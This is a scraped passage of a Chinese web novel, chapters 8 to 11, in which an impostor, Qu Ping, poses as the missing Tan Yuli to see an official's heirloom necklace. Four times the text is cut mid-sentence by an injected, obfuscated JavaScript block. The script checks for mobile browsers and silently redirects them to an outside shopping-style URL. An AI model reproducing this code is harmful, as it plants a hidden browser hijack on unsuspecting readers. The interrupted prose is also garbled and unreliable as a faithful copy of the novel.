“楚夫人寡言,除了爹,她不大搭理其他人。爹从未说过楚夫人有什么家人,这人到底是不是楚夫人的弟弟我们也无从得知了。” “方大人我见过几次,多是十年前跟郁李一块时见着的,前几年也见过一次。我对他不甚了解,只是郁李曾与我说过,她与方弥谨只见过几次,不算熟识。后来方大人不知何故跟爹承诺,如若他中了状元他便娶郁李。爹同意了,郁李那时生气不见他,再后来相处了几个月可能也有了些感情,郁李曾与我说她想过了二十之后再成婚,可方慎之不在乎这些,她便认了这门亲事。” 8. 第 8 章 “要知道郁李可犟得很,谁都逼迫不了她。倒是没想到方大人当时真中了状元,本是定好三月之后便成婚,哪里能想到会出这样的事情。” “曲姑娘若是同方大人成亲,不管是对他还是对郁李都是一件好事。” 十年了,方慎之大可开始一段新的感情了。 曲屏尴尬一笑,解释道:“我没有想这么多,方慎之再好我也没见过他,不知道他是什么样的人呀。再说他既然跟谈郁李两情相悦,他又一直没有取消婚约,想必是还记着她。……等我见到那传家宝,我就离开这儿。” 即便是她真一厢情愿喜欢上了这方大人,她也不能跟他真在一起的。 曲屏深知,没有谁是离开了谁活不了的。 闻言,谈郁金道:“我的意思是曲姑娘不比顾忌那么多,你想要看那项链大可与方大人直说,我想他不会介意的。” 曲屏一听,问道:“当真?那我下次如果见到他我就直接跟他说了,只是这半个月以来,我虽总听到他的名字,却见不着他。” “不过是一个死物,方慎之并非迂腐之人。” 至于不见她,自然是因着知道不会是真的。 早些年,每次有人冒充谈郁李,方弥谨都会过来看看真假的。 曲屏心里地石头落了地,她仿佛已经摸上了那宝石一般,呢喃道:“既然能直接达到目的,我干嘛还要用那么迂回的法子,又是伪装又是假成亲的。” 只是如果不是因着谈郁李这个身份,她八成也难见到方慎之。 “曲姑娘,这段日子你就姑且将自己当作是郁李吧。”谈郁金继续说道:“其实今日我来找你还有一事。” “什么事?” 谈郁金眼神悠远地看着前方树下的影子,道:“郁李十八岁那年我曾与她一同去天山寺许过愿,本来约好三年后去还愿,只是一直没有机会。她归来无期,不知曲姑娘可愿代她陪我去一趟寺庙?” 这话叫曲屏难以拒绝,她问道:“今天吗?” 谈郁金看了眼正中的太阳,轻声道:“明日清晨。” “那行,我正好也去许个愿,我若是许愿了之后还要去那儿还愿吗?”曲屏对这些不太了解。 幼时她总嘴馋,愿望就是少干点活多吃点好吃的。 少时的愿望便是好好上学,能读上高中。 成年后她的愿望只是活下去。 可这些都没有实现。 整个童年她都是在羡慕中度过的,为了好吃的零嘴儿她同其他小孩一起学狗叫,学母鸡下蛋,那时她不懂尊严为何物。 少年时代被告知读书可以改变命运,便一心学习。那时她有着最强的自尊心,可她甚至连高中的校门都没有踏进。 十四岁时她便进厂打工,那时她的愿望是挣钱,挣好多好多钱,那样别人就不会看轻她。 再之后她只想活下去。 可连这个愿望她都没有实现,她那糟糕的一生在十九岁那年戛然而止。 曲屏甚至忘记自己是怎么死的了,关于过去的记忆她下意识地不愿去回想,她知道不管她给自己取多少个好听的名字,她仍是她。 她无法摆脱过去的自己,她也不能摆脱。 “我如今没有愿望了。”曲屏轻声道:“不过也跟着你去许一个吧。” 没有愿望就不会有所期待,不期待就不会感到失望,甚至是……绝望。 像这八年来,她跟着周老爹被殴打辱骂、受尽冷眼,可她很少像从前那样难过。 她反而觉得幸福。 曲屏恍然想起五年前他们设局从一个商贾那儿骗了些银子,她因为动了恻隐之心,救下那商贾关在别院的一个妓.女。之后误了逃跑的时辰,导致周老爹被好几个打手抓住打折了右腿。 那时她自责不已,她对周老爹说:“我看她身上全是伤,没一块好肉,我不忍心。……是我害了你。” 平日里总凶巴巴的周老爹那次却没有骂她,而是语重心长地说道:“丫头,这世上可怜人多了去了,你就是救了她,天下像她这样的人何其多,你又能救多少?人虽然被我们救出来了,可卖身契不在我们这儿,她又能藏去哪里?” 那时她想着就这样陪着周老爹待一辈子也不错,他们挣的银子也能吃饱饭了。 谈郁金见曲屏眼睛湿润,她关切道:“可是想起了什么不好的事情?” 曲屏摇头,站起身来,朝她一笑,道:“我叫曲屏,见到你我很开心。” 谈郁金俯身抱了下她的肩膀,轻声说道:“见到你我也很开心。” 谈郁金走后,曲屏看着阳光正好,万里无云。 她走到太阳底下,张开双臂,任由灼热的温度蔓延至全身。 我叫曲屏,不管名字寓意如何,我都喜欢。 * 第二天清晨,曲屏早早就起床梳洗打扮,隔壁偏房的檀香听到动静走了过来。 她犹豫了一下还是问道:“昨日大小姐来这儿了?” 曲屏点头,从妆奁中掏出一对绿宝石耳坠戴上。 还别说,谈郁李这儿收的宝贝可不少,梳妆台的抽屉里全是些金银首饰玉镯之类的,样式也好看得很,每一样都叫曲屏爱不释手。 过了这么多年竟然还是满满当当的。 “是啊,檀香你昨日不是看见了吗?”曲屏故意这样说。 见檀香脸色发青,她又说道:“姐姐还约我今天去天山寺呢。” “大小姐难道就没有看出你是冒牌的?姑娘从不会叫大小姐‘姐姐’。” “哦,谢谢提醒,我失忆了,不过我以前是怎么叫姐姐的呀?” 话音刚落,檀香就被她气得胸膛起伏。 她顺了下呼吸后说道:“今日我陪你去。” “你不休息了?前几天不是还说身体不舒服吗?” “反正我要去看看你给大小姐灌了什么迷魂汤,大小姐与姑娘最是要好,她定然能看出你是假的!” 嗯,这话倒没错,她确实一眼就看出来了。 “檀香你为何这么执着呢?”曲屏感叹道:“即便我不是谈郁李,可如今阖府上下都说我就是她,你又如何能指证我是假的呢?” “那如何能一样!”檀香激动地说道,“如今你这个西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648623|156578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贝货占着姑娘的身份,日后她回来了又该去往何处?” “若是你家姑娘真回来了,那我立马走人。”曲屏直接说道。 “你!你承认了是吧?” “好啦,我承认了,檀香你快些去梳洗吧。待会儿都要出门了,你打算就这样披头散发跟我去,这样就不怕丢你家姑娘的脸了?”曲屏瞥了眼檀香的头发,推搡着让她走了出去。 檀香愣愣地看着曲屏,竟也没有反驳,而是顺着曲屏的意思回到了自己房间。 收拾好了曲屏同檀香一道出了院门,正巧在院门口见着了谈郁金。 她们虽然是坐马车过去的,可天山寺偏僻,又在山顶,最后只能走楼梯上去。 曲屏仰头看着长长的阶梯,道:“幸好我们来得早,不然非得晒死不可。” 这时候的伞根本就不防晒,她最近正在护肤美白呢,要少晒太阳。 谈郁金点头,道:“其实也就看着高,走上去倒不是很累。” 这阶梯很宽,她们二人并肩而行,时不时地就会聊几句。 谈郁金竟然跟檀香关系也还不错,有时檀香也会跟着说两句。 “檀香是第一次来天山寺吧?” 檀香点头。 “上次我和郁李是悄悄过来的,她那身体受不住,我们走十来个台阶就坐在一旁休息。” 提起谈郁李,檀香神情都柔和了许多,她笑道:“大小姐也会跟姑娘一样坐在地上吗?” 谈郁金点头,道:“那当然了,好在那时候人少,没什么人注意我们。” 其实谈郁金不愿坐,是谈郁李硬拉着她坐的,她拗不过,就跟着坐了好几个地儿。 到了山顶,谈郁李便瘫倒在墙边,叹道:“香香,这么多年我从没这么累过,可我觉得开心。” * 到了寺庙,曲屏跟着谈郁金上了三炷香,跪在一旁的蒲团上。 曲屏没有许愿,而是闭着眼睛想那一年十八岁的谈郁李会许什么样的愿望呢? 她那样身体不好的花季少女,许的愿望应该是平安健康之类的吧。 不过也说不准是姻缘,她那时应该同方弥谨相识了。 之后谈郁金带着她去了后方的禅院。 “听说无台大师云游归来了,我已经五年未曾见过他了,我们今日倒是可以去见一见。”说着谈郁金就低声朝一旁的小沙弥说了一声。 小沙弥手上带着佛珠,双手合十道:“师叔如今正在会客,女施主稍等片刻。” “姐姐,我也要见这位大师吗?”曲屏对这些不太感冒。 “郁李曾与无台大师多有来往,他还给郁李调制过几味药丸呢,你见上一见也无妨。” 不多时门便开了,从中走出一个胖和尚来。 这和尚笑容灿烂,右手抚摸着肚子道:“二位施主多年未见,别来无恙啊。” 谈郁金行了个佛礼,“大师云游多年可是收获颇丰?” 无台哈哈大笑,道:“这五年倒确是见到了不少奇人异事。” 说完他又看向一旁的曲屏,道:“这便是如今的谈二小姐吧?” 9. 第 9 章 谈郁金颔首一笑,不待曲屏回答,无台又说道:“谈二小姐可还记得贫僧?” 曲屏顺着他的话摇了摇头,在谈郁金面前她也没有什么顾忌,便问道:“大师,我与你印象中的谈二小姐应该相去甚远才对,你怎么还是认出我来了?” 听他方才那话,明显是见过谈郁李的,可居然一点都不觉得奇怪,难道说他也信了这些传闻? 无台左手拿着佛珠,右手抚在圆滚滚的肚子上,“谈二小姐一去便是十载,不曾想贫僧这次回寺院竟然还能得见,这其中自有因果。” 他答非所问,曲屏也就没再继续问了。 无台似是想起什么一般,哦了两声说道:“贫僧适才见到了方公子,这么多年未见,谈二小姐倒是可与他再续前缘。” 谈郁金笑着应了声,曲屏心里想着宝石项链之事,也颇为欣喜。 她问道:“我们刚刚在前面上香,他在哪儿?我怎么没见着他?” 无台回了句“在后方禅院”,便与她们匆匆告别,离开了寺院。 看着无台远去的背影,曲屏疑惑道:“这胖和尚可真是奇怪。” 谈郁金轻缓一笑,道:“无台大师许是又要离京了,方才倒是忘了让他给郁李卜上一卦。” “他还会卜卦,和尚都会吗?” 谈郁金摇了摇头,解释道:“也不尽如此,只是无台大师卜卦很准,京城中好些人都求着让他卜上一挂呢。大约九年前,我曾让他给郁李卜过一挂。” “结果怎么样?” 谈郁金笑容淡了下来,“不是很好,无台大师当年说郁李仍在京城,可这么多年过去,我都未曾见过郁李。” 说完她便领着曲屏去了后方禅院,檀香早已在门口等候许久了。 “你去便是,我在外面等你。” 曲屏点头应声,朝着小路走了进去。 檀香刚要跟上去,谈郁金便叫住她,低声道:“檀香,方大人在这里,我们就先去外面等吧,等郁李见到方大人了,我们再一同回去。” 檀香蹙眉惊道:“大小姐,这可是方大人。” 谈郁金无言地点头,拉着她走了出去。 檀香扭头看着曲屏的背影,不情不愿地跟着谈郁金往外走。 “方大人是姑娘的未婚夫,她怎么能……,大小姐难道连您也看不出来这人是假的吗?”说到这里檀香便开始哽咽。 “为什么会这样?灼少爷当年与姑娘最是要好,可现在也默认这人是姑娘,您当年与姑娘形影不离,竟然也丝毫不怀疑吗?她到底是给你们使了什么法!” 谈郁金安抚地拍了拍檀香的肩膀,道:“檀香,这些我都知道,方大人不是愚蠢之人,他们见上一面不会对郁李有什么影响的。” 檀香哭着说道:“可……可这人是假的!她不知是从哪儿跑过来的乡野粗鄙之人,与姑娘无半分相似之处,若是方大人同她成了亲,姑娘日后回来了定会伤心,我……” “我不想让小姐伤心。” 谈郁金温声道:“檀香,你大可放心,方大人如果真与她成了亲,那便是放下了与郁李的那段感情,即便郁李回来了,也不比从前了。这世间又有几个男子能等一个女子十年呢?如今谈家大不如从前,便是婚约一事,还不是由方大人一人说了算?” 闻言,檀香不再说话,但仍是止不住地抽噎。 曲屏走在鹅卵石铺成的小路上,问了好几个小沙弥,跟着去了好几个地方都没能见到传闻中的方大人。 反倒是给她热出一身汗来。 曲屏躺在禅院旁的大树下休息,迷迷糊糊地差点睡着了。 “姐姐和檀香还在等我,这方……大人见不到就算了。” 曲屏刚想说名字,一时又没想起来。 反正总有一日能见着的。 这样想着,曲屏就强撑着从草地上坐了起来。 她又挪到树旁靠了一会儿,眯着眼睛透过树叶缝隙看了眼天上的太阳,叹了一口气。 却是瞥见一旁有一个人影。 曲屏惊了一跳,忙揉了揉眼睛,道:“你是什么时候坐这儿的?” 树荫下的男子身着素衣,身材颀长,样貌清俊。 他仍是坐在那儿,似乎有些疑惑,他愣声道:“同姑娘一样,走累了便坐下休息了。” 话落,他又问道:“我常来这寺庙,倒是从未见过姑娘,不知姑娘芳名?” 曲屏环顾四周,又见这人衣着普通,日后应该不会有所交集,便道:“我叫曲屏,你叫什么名字?” “曲屏,这名字好听。”男子微微仰头,看着曲屏,道:“在下姓方,名弥——。” 曲屏听到夸赞立马笑着凑了过去,道:“你也觉得这名字好听?这名字是我自个儿取的,就是觉着好听才取的。” 反应过来,曲屏站起来,问道:“你也姓方?” 这名字耳熟,可曲屏一时也没有想起来。 “曲姑娘还认识其他姓方之人?” 曲屏不疑有他,道:“我正在找他呢,你认不认得他,他是方大人,叫……方弥谨!” 他们虽经常提起他,可一般都是称呼他为方大人,鲜少直呼其名,这些天她又被谈羽复扰得不行,脑子一片浆糊。 方弥谨一愣,道:“你……” “你找他作甚?” 曲屏心头一喜,道:“你认识他?难不成他是你什么堂哥之类的。” 看眼前男子年纪不过二十一二的样子,那位方大人虽比谈郁李还小上两岁,可如今应该也二十八了。 不等方弥谨回答,曲屏便又说道:“其实这也不是什么秘密,我找他是想看一眼他那传家宝。” 见男子神色怔忡,曲屏走过去,挨着他坐下,杵了杵他的手臂,小声道:“就是一条宝石项链,不管你是不是他亲戚,应该都听说过这东西吧?” 方弥谨点了点头。 曲屏自顾自地说道:“我这人,人穷志不短,平身就爱看些宝石之类的。刚好和人一起来天山寺还愿,听那个……胖和尚说他也在,就想问他要这项链看看,最好是能让我戴一下,之后我便还给他。” 见男子仍愣愣的,曲屏拍了一下他的肩膀,道:“喂!你咋了?我既然跟你说了那这事儿就不是什么秘密,我也绝不是什么江洋大盗, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648624|156578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿了宝石就跑了,我可不是那种人。” 方弥谨这才回过神来,他问道:“你说的可是他祖上传下来的宝贝,是给方家主母的礼物?” 曲屏点了点头,道:“我听人说这东西价值连城,十分精美,我也见过一些宝石,就想看看它是不是真这么好看。不过,既然是传家宝,想来也差不到哪里去。” 方弥谨闻言,不太自在地咳了咳,轻声道:“曲姑娘,我便是你口中所说之人。” “啊?” “我名弥谨,字慎之。”方弥谨笑着解释道,“早些时候就听几个小沙弥说有个年轻姑娘在找我,我也没多想,正要下山时却见姑娘躺在树下,心中便有了猜测,没成想当真是曲姑娘在找我。” 曲屏愣愣地看着他,末了才结巴着说道:“那,那你既然就是方慎之,那可不可以让我看看那宝石项链?” 说完这话曲屏才反应过来,差点给自己一嘴巴子。 她这都是说了些啥呀。 方弥谨眉头微皱,缓缓摇头,道:“不是我不愿给姑娘看,而是那毕竟是我方家的传家宝,虽不过是个死物,可这数百年来都是成家后赠予妻子的。这……” 曲屏一不做二不休,她忙凑过去低声说道:“方大人,你就悄悄给我看一下,此事天知地知你知我知,我绝不告诉别人。” 方弥谨笑了一下,解释道:“方某毕竟是读书人,这乃祖训,是断不可违背的。便是姑娘真想看,也少有人会将传家宝随身携带的。” 曲屏眼角微抽,扣着手指道:“你真不给我看一下啊?我偷偷的,咱们约个地方,你将那项链带出来。我摸两下,不戴,之后我直接离开京城,我保证没人知道。” 方弥谨仍是摇头,道:“这种事情,虽说旁人不知,可方某祖上在天上焉能不知?” 曲屏一时梗住,她竟不知这人竟如此迂腐。 想着她眼睛一转,手指捂着嘴咳了咳,道:“方大人,我实话与你说了吧,我身体只看着不错,其实早已药石无医,大夫早与我家人说让我快快活活的度过余生。我这人别无所好,只是想见见方大人那项链,俗话说救人一命胜造七级浮屠,这样想必方大人祖上知晓也不会怪罪于你,咳咳!” 说完,曲屏便状似无意地松开手,叫他瞧见手心的鲜血。 方弥谨一惊,忙拉住曲屏的手腕,拧眉道:“我方才倒是没看出来曲姑娘病弱至此?” 顿了顿,他又说道:“只是世间珍宝繁多,除了这项链,我可赠予曲姑娘其他宝石,定然不会比这差。” 这自然不同。 虽说都是宝石,可她原是奔着传家宝而来,叫她退而求其次却到底不甘心。 算了,宝石她也不想看了。 若是像初时那样,一门心思想着假装成谈郁李见着那宝石项链倒还好,如今从谈郁金口中得知直言便能见到,偏她直说了也没见到,未免有些气恼。 便是装也不想装了。 曲屏倏地手肘撑地,爬了起来,道:“方大人,我们不必多说了,我也不是非要见那东西不可,咱们后会无期。” 说完她便头也不回地走了。 10. 第 10 章 待人走远,一旁又走出一个人来。 男子神色从容,面容俊雅,正是那日的张向松。 他不解道:“你不是如此迂腐之人,那项链不过是一个死物,便是看两眼又何妨?你若不想,直接拒绝便是,她即便有着谈二小姐的名头,又能奈你何?慎之又何必如此迂回呢?” 方弥谨没有回答,而是问道:“兄长,你觉得她像郁李吗?” 张向松一惊,他虽然长方弥谨两岁,父亲也拿他当儿子对待,但方弥谨这样叫他的次数屈指可数。 他斟酌片刻,回道:“我只见过谈二姑娘几面,不甚了解,又过了这么多年,早记不太清了,不过仍记得谈二姑娘容貌昳丽,堪称绝色。方才那小姑娘容貌只能算是清秀,看她肤色也不像富家小姐。思微与谈二小姐亲近,若是相似,他定能瞧出来。” 说完,他眉头微蹙,又道:“再说,方才那小姑娘行为举止像有二八年岁了,身形长相却如同豆蔻年华一般,虽也有几分清秀稚气,却与谈二姑娘全然不同,慎之切不可——” 方弥谨点头应声,“我自是知晓的。” 谈郁李便只能是谈郁李,这十年来,他心里一直清楚。 世间再没有第二个谈郁李了。 若是他想要找相似之人将她取代,那也不会是如今这般情景了。 闻言张向松释然一笑,道:“我瞧这小姑娘也不错,就是说话直白了些,倒也有趣。你若是喜欢,大可将错就错。” 方弥谨只点了点头,没有回答。 * 曲屏脚步不停地走到门口,见谈郁金与檀香正有说有笑。 “姐姐。”曲屏颇不畅快,语气低落地叫了一声。 谈郁金见曲屏不大开心,便问道:“可是没见着方大人?” “见到了,但他不愿意。”说完曲屏便又说道:“不说这些了,我们早些下山回去吧。” 到了谈宅,檀香径自回了院子,曲屏低声道:“姐姐,我打算离开这儿了。” “为何?”谈郁金诧异道。 “我见到方慎之,与他直说我想看一下那项链,可他怎么也不给我看,说什么是给他方家媳妇儿的。现在便是我硬装成谈郁李,他见到我也能认出我来,定然能猜到我是为了项链才待在谈家的。” 说完,曲屏又补充道:“还不如现在就走了,他好歹是个不小的官儿,万一把我抓到牢房,我可没地儿说。” 谈郁金捂嘴轻笑,道:“方大人真如此说?” 曲屏见她不信,昂着下巴道:“这还能有假?千真万确!” 谈郁金了然,顿了顿,她便说道:“曲姑娘若是决心要走,何不等宴席结束之后再找个由头走?如今三叔请帖都发出去了,你走了却是不好收场。” 曲屏想了想,道:“说的也是,那我就等吃完酒再走好了,反正也没坏处。” * 不知是不是那日谈郁金跟檀香说了什么,自那日之后,她对曲屏虽还是爱搭不理的,但不像开始那样总是指桑骂槐了。 谈郁金也一直待在谈宅中,她说要等宴席结束再回去,曲屏乐意跟谈郁金待在一块儿,心中便也欢喜。 很快十日过去,宴席这一天热闹得紧。 这一日谈宅正门口站了两人迎客,后边跟了三四个小厮丫鬟。 男子高鼻窄脸,面容俊秀,若不是面上蓄着短须,看着倒像是不到三十的样子。 站在他旁边的女子衣着华贵,正笑着与人寒暄。 这两人正是谈家如今掌家之人,谈明与李夫人。 宴席临近开始,李夫人眉头紧锁,藏在袖中的手指攥着帕子,焦急道:“三弟,怎么这个时辰了,方大人还没有过来?” 谈明捻了捻手指,道:“他分明回信说要亲自过来见见郁李,难不成变卦了?” 闻言,李夫人心下一定,摇头道:“那应是有什么事耽搁了,方大人是重诺之人。只是……只是他会认了这婚事吗?” 谈明微微一笑,道:“他不认也得认,除非他完全舍弃谈家。” 可他不会,不然也不会十年都不取消婚约了。 谈明在心中说道。 李夫人显然也猜出来了,缓了一口气,轻声道:“那便好。” 说完她又转身嘱咐一旁的丫鬟,“记得拦着点二小姐,婚期未定之前,切不可让他们见面。” 话音刚落,便又来人了。 “草民拜见方大人。”一旁的谈明欣喜道。 只见眼前男子身材高瘦,面容清俊,身着浅蓝便服,正是新任的大理寺卿方弥谨。 他搀起谈明道:“路上遇了点事,耽搁了,让你们久等了。” 李夫人也只十年前见过他几面,一时没能认出来,却也跟着行了个礼。 谁能想到当年一穷二白的少年能一举中状元,后又一直升官,得圣上信任,成了如今的大理寺卿呢。 她忙笑道:“不打紧,不打紧,方大人便是在这儿一站,也叫谈宅蓬荜生辉呀。” 谈宅内早已宾朋满座,只是多是些商人,倒也有零星几位高官夫人。 其中有几个是谈观当年的故交,多数则是因着方弥谨而来。 众人心知肚明,见李夫人和谈明引着方弥谨走了过来,都猜出这人身份,待他一落座便陆续敬起酒来。 客套一番,又三三两两地聊了起来。 “没想到谈二姑娘失踪十年竟然还能再找回来,也不知是如何找回来的?” “听说是自个儿回来的,谈二姑娘十年前原来是跟着舅舅离开了京城,你们见过楚夫人的弟弟吗?谈二姑娘满月那日,我恰好也来了,那人神色癫狂,一头乱发瞧不出面容,那时他就抱着尚在襁褓中的谈二姑娘欢喜得紧,说要带走呢!” 其余同样参加过满月酒的人纷纷点头附和。 “许是楚夫人回娘家与他说了什么,他便跑到谈家将人给带走了。” 宴席过半,一人向李夫人问道:“谈夫人,怎么不见二小姐?” “二姑娘在楚家待久了,隔了这么些年才回家,有些怕见人,我就让她在房中休息。”说完她又朝另一位夫人使了个眼色。 这人姓陈,是李苁蓉的闺中好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648625|156578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 友,她的丈夫又与谈观有些交情,故而婚后二人感情依旧,时常来往。 陈氏会意,笑道:“方大人这么多年没见谈二姑娘,想必还是有些感情的吧?只是不知当年的婚约还作数吗?” 闻言,方弥谨轻缓一笑,点头道:“自是作数的。” 四下一片静默,众人却也心知谈家姑娘只要与方弥谨顺利成亲,谈家便是鸡犬升天了。 “那就好,谈大人最是疼爱二姑娘,他最大的心愿恐怕就是你们之间的婚事了。” 方弥谨不置可否。 宴席结束之后李夫人又引着他去各处逛了逛,二人相谈甚欢。 却突然听见墙边内院传来不小的动静。 听声音像是打斗声。 “你!放肆!”是一道娇软的女声。 方弥谨顿住脚步,偏头看去,问道:“李夫人,敢问那是谁的院子?” 李夫人面色一变,却是没有回答,只解释道:“想必丫鬟婆子做错了事,正训斥呢。” 话音刚落,墙上却飞身坐了一个女子。 女子一身丫鬟装扮,面容清秀,看着不过十四五岁。 她虽坐在墙头,仍俯身做了个鬼脸,“略略略,说又说不过,骂又骂不赢,打又打不着,略略略~” 墙下的人气得不行,急声道:“张向安你愣着作甚!飞上去打她呀!你看她都嚣张成什么样子了!” 闻言,女子一眨眼便从墙上跳了下来,拍拍手心的灰尘一抬头,便与方弥谨来了个对视。 “嘿嘿,我叫曲屏,敢问公子姓甚名谁,可有娶亲?”说完女子粲然一笑,倒叫人有些移不开眼。 估摸着宴席就要结束了,曲屏背着包袱正要悄悄离开谈家,虽被抓个正着。可她现在别无所求,自然也不像之前那般束手束脚,她只当作不认识他。 方弥谨低头愣愣地看着她,回道:“在下方弥谨,家中未有妻妾。” “那方公子觉着我怎么样?”曲屏走近仰头看着他。 一旁的李夫人这才回过神来,见曲屏这一身打扮,念头一转,忙道:“方大人,这是郁李——” 院内的丫鬟。 剩余的几个字还没能说出来就被人打断。 曲屏听到李夫人的声音这才注意到她,曲屏一把搂住她,欣喜道:“二婶婶!你怎么在这儿?” 李夫人面色一僵,刚要解释,就听见方弥谨说道:“这便是郁李了吧?倒是跟从前不太一样了。” 何止不太一样,简直毫不相干。 曲屏反应过来,点头应声,“方公子,我正是谈郁李。” 李夫人既然在这儿,她现下自然走不了了。 “可姑娘方才不是说你叫曲屏吗?”方弥谨也只当作初识,不疾不徐地说道。 “那是我随便给自己取的名字,十年前我被歹人抓走喂了些药,模样跟从前不大一样了,后来又撞了脑袋失忆了,也是前段时间才逃出来。”说完曲屏又故意说道:“你也姓方?还是当官的?那你是不是我的未婚夫呀?我之前听小彤说我的未婚夫便是当今的大理寺卿方大人。” 11. 第 11 章 李夫人被曲屏这些话整得哑口无言。 方弥谨面上瞧不出端倪,他淡淡道:“方某正是如今的大理寺卿。” 曲屏心中咬牙切齿,面上却是装作欢喜的样子,凑过去旁若无人般扯着方弥谨宽大的衣袖,道:“那敢情好,方大人,咱们多久成亲呀?” 听到这话,李夫人站在一旁用余光瞧着方弥谨神色。 心道:这丫头虽粗野鲁莽,可方慎之见多了大家闺秀,乍然一见,兴许有些新鲜劲儿。 方弥谨听到这话,却是久久没有回答。 曲屏急声道:“难不成你要取消婚约?” 这可不行,她如今决心离开,方弥谨可不能因为她这个冒牌货的原因取消婚约,不然等谈郁李回来了,那可不好收场。 见他摇头,曲屏踮起脚尖悄声说道:“方大人,你不想娶我也没关系,反正我现在也不稀罕你那传家宝了,不过是个死物,我又不是没见过贵重玩意儿。” 当年贵人家中的宝贝都任她扔着玩儿,只为她听个响儿呢。 突地一声尖叫,一个身形瘦弱之人从墙头摔了下来,方弥谨伸手欲接,曲屏却是一个飞身将人揽住。 “我说大小姐,您怎么还追出来了?也不怕摔断腿。” 听这话,显然这身着男装的女子便是方才与她争吵之人。 “原来你就是谈郁李,这么多年巴着方大人不放,如今还对我出言不逊,你看我到时候怎么惩治你!”女子仰着下巴说道。 曲屏一把将她推开,道:“不识好歹!亏我刚刚还跑过去救你。” “你!” “公主,您怎么在这儿?”方弥谨虽是问却全然是质问的语气。 说完不等黄若烟回答,他又抬头看了眼站在墙头正欲逃跑的男子,沉声道:“张向安!是你带华阳公主过来的?还穿成这个样子?” 张向安忙跳下来,连连摆手,解释道:“哪能啊,二哥,我也是进来才遇上公主的。” 说完张向安还抽空偷偷朝曲屏翻了个白眼。 李夫人得知眼前面容娇艳的女子是当今最受宠的华阳公主之后,忙跪下行礼,道:“小辈无状,还请公主恕罪。” 说着她又拉着一旁的曲屏道:“二姑娘也是不知是公主,多有得罪,还望公主见谅。” 黄若烟哼了一声,指着曲屏道:“叫你得罪我,还不快跪下,不然我让父皇诛你九族!” 话落,李夫人忙拉着曲屏跪下。 曲屏得知她是当朝公主,神色一变,谄媚道:“都是我的错,有眼不识泰山,让公主受惊了。” 见黄若烟裙摆沾了些灰尘,她伸手欲拍,黄若烟心下得意,转身看向方弥谨。 一旁的方弥谨见状,却是眉头一皱,道:“公主怎的来了谈宅?” 黄若烟见方弥谨神色不虞,忙解释道:“我也是听人说你要来参加宴席我才过来的,怕别人发现我都是一个人过来的,要不是遇上张向安,本公主早被谈家的小厮给赶出去了。” “胡闹!” 见方弥谨真的生气了,她眼眶含泪,道:“方弥谨,你真的要娶她吗?” “谈二姑娘与我本就有婚约,若不是因着意外,我们早在十年前就成亲了。” “你!本公主这就让父皇下旨,让他给我们赐婚!”吼完之后,黄若烟却是没有走,而是一眼不眨地看着他。 “公主明知陛下不会下旨的,微臣是看着公主长大的,如若公主执意如此,微臣倒是可以跟陛下提议早日招选驸马了。”方弥谨低头看着她,将衣袖从她手中轻轻地拽了出来。 “方弥谨,你怎么可以这么对我,谈郁李当年也不过是一个病秧子,都十年过去了,早死在外边了!她那副身子骨,哪还回得来!” “华阳!慎言。” “我……” “张向安,快些送她回公主府。” 等黄若烟走了之后,方弥谨却是找了个由头让李夫人也离开了。 李夫人被华阳公主这事吓住,也没敢多留。 悠长的小径,只余他们二人和几个丫鬟站在远处。 “曲姑娘为何想要我方家的传家宝?”方弥谨问道。 曲屏翻了个白眼,道:“关你屁事儿。” 方弥谨轻笑:“既是我方家至宝,自然与方某息息相关了。” 曲屏打量了下四周,没好气道:“我跟你直说了吧,之前我是很想要你那项链儿,也就因为我平生喜欢宝石,但你死活不给我看,我现在不想要了,也不想看。” 说着曲屏拍了拍衣袖,又继续说道:“你看看我这身装扮,是不是更适合我?我实话告诉你,我本来就是个江湖骗子,装成谈郁李的样子不过是想骗你家的项链。现在我穿成这样子就是要离开谈家,……你看什么看,恨我也没用,让你白欢喜一场,是我的错,方——大——人!” “反正我今天就走了,他们问起我,你就直说我是个骗子好了。”说完曲屏仰头看了看墙壁,正运气欲飞上去。 就听到方弥谨说道:“曲姑娘可知项链是无心手中之物?” 曲屏一顿,惊讶道:“无心?” 方弥谨神色一凝,道:“曲姑娘认识无心?” 曲屏尬笑一声,含糊道:“略有耳闻,听说是江湖中一个不老不死的奇人,手中有不少宝贝。” “正是我少时从她手中得来的。”方弥谨沉声说道。 “你不是说是你家传家宝吗?” 他解释道:“方某出身乡野,又何来传家宝呢?这项链是方某七年前偶然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 